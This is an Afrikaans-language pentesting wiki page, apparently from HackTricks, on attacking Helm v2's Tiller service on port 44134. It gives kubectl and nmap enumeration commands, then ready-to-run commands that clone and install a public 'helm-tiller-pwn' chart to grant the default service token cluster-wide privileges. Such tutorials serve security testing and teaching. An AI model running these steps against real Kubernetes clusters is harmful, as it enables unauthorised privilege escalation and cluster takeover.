{{#include ../banners/hacktricks-training.md}} # Basiese Inligting Helm is die **pakketbestuurder** vir Kubernetes. Dit stel jou in staat om YAML-lêers te verpakkie en dit in openbare en private repositories te versprei. Hierdie pakkette word **Helm Charts** genoem. **Tiller** is die **diens** wat standaard op poort 44134 loop en die diens bied. **Standaard poort:** 44134 ``` PORT STATE SERVICE VERSION 44134/tcp open unknown ``` # Enumerasie As jy **pods en/of dienste** van verskillende name ruimtes kan **enumerate**, doen dit en soek vir diegene met **"tiller" in hul naam**: ```bash kubectl get pods | grep -i "tiller" kubectl get services | grep -i "tiller" kubectl get pods -n kube-system | grep -i "tiller" kubectl get services -n kube-system | grep -i "tiller" kubectl get pods -n | grep -i "tiller" kubectl get services -n | grep -i "tiller" ``` Voorbeelde: ```bash kubectl get pods -n kube-system NAME READY STATUS RESTARTS AGE kube-scheduler-controlplane 1/1 Running 0 35m tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m kubectl get services -n kube-system NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE kube-dns ClusterIP 10.96.0.10 53/UDP,53/TCP,9153/TCP 35m tiller-deploy ClusterIP 10.98.57.159 44134/TCP 35m ``` Jy kan ook probeer om hierdie diens te vind wat op poort 44134 loop: ```bash sudo nmap -sS -p 44134 ``` Sodra jy dit ontdek het, kan jy met dit kommunikeer deur die kliënt helm toepassing af te laai. Jy kan gereedskap soos `homebrew` gebruik, of kyk na [**die amptelike vrystellingsbladsy**](https://github.com/helm/helm/releases)**.** Vir meer besonderhede, of vir ander opsies, sien [die installasie gids](https://v2.helm.sh/docs/using_helm/#installing-helm). Dan kan jy **die diens opnoem**: ``` helm --host tiller-deploy.kube-system:44134 version ``` ## Privilege Escalation Standaard is **Helm2** geïnstalleer in die **namespace kube-system** met **hoë bevoegdhede**, so as jy die diens vind en toegang daartoe het, kan dit jou in staat stel om **bevoegdhede te verhoog**. Al wat jy hoef te doen is om 'n pakket soos hierdie te installeer: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) wat die **standaard diens token toegang tot alles in die hele kluster sal gee.** ``` git clone https://github.com/Ruil1n/helm-tiller-pwn helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn /pwnchart ``` In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) het jy die **verklaring van die aanval**, maar basies, as jy die lêers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) en [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) binne _helm-tiller-pwn/pwnchart/templates/_ lees, kan jy sien hoe **alle die voorregte aan die standaardtoken gegee word**. {{#include ../banners/hacktricks-training.md}}